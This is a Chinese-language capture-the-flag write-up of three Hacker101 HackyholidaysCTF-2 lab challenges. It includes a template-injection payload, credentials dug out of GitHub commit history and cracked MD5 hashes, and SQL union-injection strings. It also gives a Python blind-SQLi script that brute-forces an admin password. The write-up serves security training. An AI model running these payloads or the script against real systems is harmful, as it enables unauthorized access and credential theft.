[Hacker101靶场] HackyholidaysCTF-2[moderate]

admin 2024年8月5日12:35:37评论16 views字数 3405阅读11分21秒阅读模式

本文章仅用于网络安全研究学习,请勿使用相关技术进行违法犯罪活动。

简介:Hacker101是世界上最大的赏金猎人网站Hackerone的教程靶场。

知识点:模板注入、信息收集、不一样的sql盲注。

注:计划是这个靶场分成两篇的,但是这个靶场里面总是给我新惊喜,解题花了很长时间,现在还没解完。而且我想把靶场说清楚写了很长,所以需要再分一下。这篇是发第六、七、八Flag(靶场)

今天的写的靶场是Hate Mail Generator、Forum、Evil Quiz这三个: [Hacker101靶场] HackyholidaysCTF-2[moderate]

图1:靶场示意图

Hate Mail Generator – Flag 6

主页/hate-mail-generator/如下,可用链接有。

唯一的活动:/hate-mail-generator/91d45040151b681549d82d8065d43030/

创建:/hate-mail-generator/new/

[Hacker101靶场] HackyholidaysCTF-2[moderate]

图2:主页

活动点开后是详情页面,内容无法编辑。里面有个Markup,感觉应该类似Markdown语句。有特殊的语句,唯一可点击按钮为Preiview,Preview的功能就是预览Markup语句效果。   

[Hacker101靶场] HackyholidaysCTF-2[moderate]

图3:活动详情

[Hacker101靶场] HackyholidaysCTF-2[moderate]

图4:Markup解析

进入create new界面,里面是可以编辑的,猜测是Markup语句引用敏感信息。

先对目录/hate-mail-generator/进行扫描,得到/hate-mail-generator/templates/,访问有三个html文件,访问都是403。其中两个文件在唯一活动的Markup代码中有引用。

[Hacker101靶场] HackyholidaysCTF-2[moderate]

图5:templates

尝试在创建时引用cbdj3_grinch_footer.html文件,提示没有权限查看该文件。

{{template:38dhs_admins_only_header.html}}

[Hacker101靶场] HackyholidaysCTF-2[moderate]

图6:尝试直接引入敏感文件

猜测是模板注入,经过多次测试,发现如下代码可以绕过过滤,成功获取Flag 6。

解析:Markup可以直接引入变量{{name}},name要在preview_data中定义。

{{template:xxx}}可以引入/templates/下面的文件。

在preview_data定义test变量的变量值中引入templates的敏感文件,再在priew_markdown中引入定义的变量test即可绕过过滤。

preview_markup={{test}}&preview_data={"test":"{{template:38dhs_admins_only_header.html}}"}

[Hacker101靶场] HackyholidaysCTF-2[moderate]

图7:获取Flag       

Forum | Flag 7

主页如下,是一个论坛列表,看图中说admin才能查看Admin模块,那么应该是想办法获取Admin权限。

在General模块可以收集到用户grinch和max。

登录列表为:/forum/login

扫描目录发现/forum/phpmyadmin

[Hacker101靶场] HackyholidaysCTF-2[moderate]

图8:主页

对/forum/login和/forum/phpmyadmin使用用户grinch和max进行登录暴力破解,没有结果,然后尝试了其它方法都无效。

[Hacker101靶场] HackyholidaysCTF-2[moderate]

图9:phpmyadmin登录

这里考察的是信息收集能力。需要在github上搜索"You need to be an admin to view these posts",可以找到和该靶场相关的代码。(搜索时必须加双引号)

但是在代码中并没有找到可以进入下一步的信息,我也被卡在这一步。

[Hacker101靶场] HackyholidaysCTF-2[moderate]

图9:github搜索

网上查看其它文章,要在该代码的历史记录修改记录里面查找,能找到/forum/phpmyadmin的用户密码。涨了姿势。

[Hacker101靶场] HackyholidaysCTF-2[moderate]

图10:github历史修改记录

[Hacker101靶场] HackyholidaysCTF-2[moderate]

图11:github获取用户名密码

使用获取的用户名密码登录/forum/phpmyadmin,在user表里面发现grinch和max的用户名和hash密码。对密码进行MD5解密得到用户名密码:grinch | BahHumbug。

[Hacker101靶场] HackyholidaysCTF-2[moderate]

图12:进入phpmyadmin

使用用户名密码登录/forum/login,在Admin模块发现Flag 7。

[Hacker101靶场] HackyholidaysCTF-2[moderate]

图13:获取Flag

Evil Quiz | Flag 8

主页如下,功能流程是输入名字(Your Name),然后答题(QuiZ),会根据答题结果进行评分(Score)。

名字(Your Name):/evil-quiz/的post请求,参数为name。

答题(QuiZ):/evil-quiz/start/的post请求,参数为ques_1=0&ques_2=0&ques_3=0

Admin是个登录界面:/evil-quiz/admin/

[Hacker101靶场] HackyholidaysCTF-2[moderate]

图14:主页

评分界面(Score)是重点,上面红色框为名字下面红色框会显示有多少个名字和你一样

经测试,输入任意用户名都会显示1,但是输入sql注入语句报错则会显示0。

[Hacker101靶场] HackyholidaysCTF-2[moderate]

图15:score界面

进行sql注入测试,因为表名,字段名都比较简单,猜解几次就猜解出来了,最后到求密码时才使用代码跑。语句正确返回1,错误返回0

# 原名字,返回1name=name# 测试sql注入,返回0name=name'# 测试字段数name=name'+union+select+1,2,3,4%23# 测试表名name'+union+select+1,2,3,4+from+admin%23# 测试字段名username和passwordname'+union+select+1,2,3,4+from+admin+where+username+like+'%'%23name'+union+select+1,2,3,4+from+admin+where+password+like+'%'%23# 测试用户名name'+union+select+1,2,3,4+from+admin+where+username+=+'admin'%23# 测试密码name'+union+select+1,2,3,4+from+admin+where+username+=+'admin'+and+password+like+'a%'%23

最后使用如下代码可以跑出用户密码(代码中的去除后才是最终密码):admin | S3creT_p4ssw0rd-$

登录后获取Flag 8:

import requestsimport redef sql(name):    url = "https://ec9045864175b8ee48f28e832dc99b06.ctf.hacker101.com/evil-quiz/"       r = requests.post(url, data = {'name': name},                      cookies = {'quizsession': '320af10a65039a9797fbbdf0b83569eb'}, # 传递cookie                      allow_redirects=False)    r = requests.get(url+"score/",                      cookies = {'quizsession': '320af10a65039a9797fbbdf0b83569eb'}, # 传递cookie                      allow_redirects=False)    result = re.findall(r'There is (d) other player(s) with the same name as you!', r.text)    print(name, result[0])    return result[0]password = ""while True:    for i in range(32,128):        sqlPasschar = password + chr(i)        if chr(i) == "%":            sqlPasschar = password + "%"        if chr(i) == "_":            sqlPasschar = password + "_"           name = "name' union select 1,2,3,4 from admin where password like binary '" + sqlPasschar + "%'#"        if int(sql(name))==1:            password = sqlPasschar            print(password)            break    if i == 127:        breakprint(password)

[Hacker101靶场] HackyholidaysCTF-2[moderate]

图16:获取密码

[Hacker101靶场] HackyholidaysCTF-2[moderate]        

图17:获取Flag

感谢收看!

原文始发于微信公众号(Rsec):[Hacker101靶场] HackyholidaysCTF-2[moderate]

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年8月5日12:35:37
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   [Hacker101靶场] HackyholidaysCTF-2[moderate]http://cn-sec.com/archives/2981684.html

发表评论

匿名网友 填写信息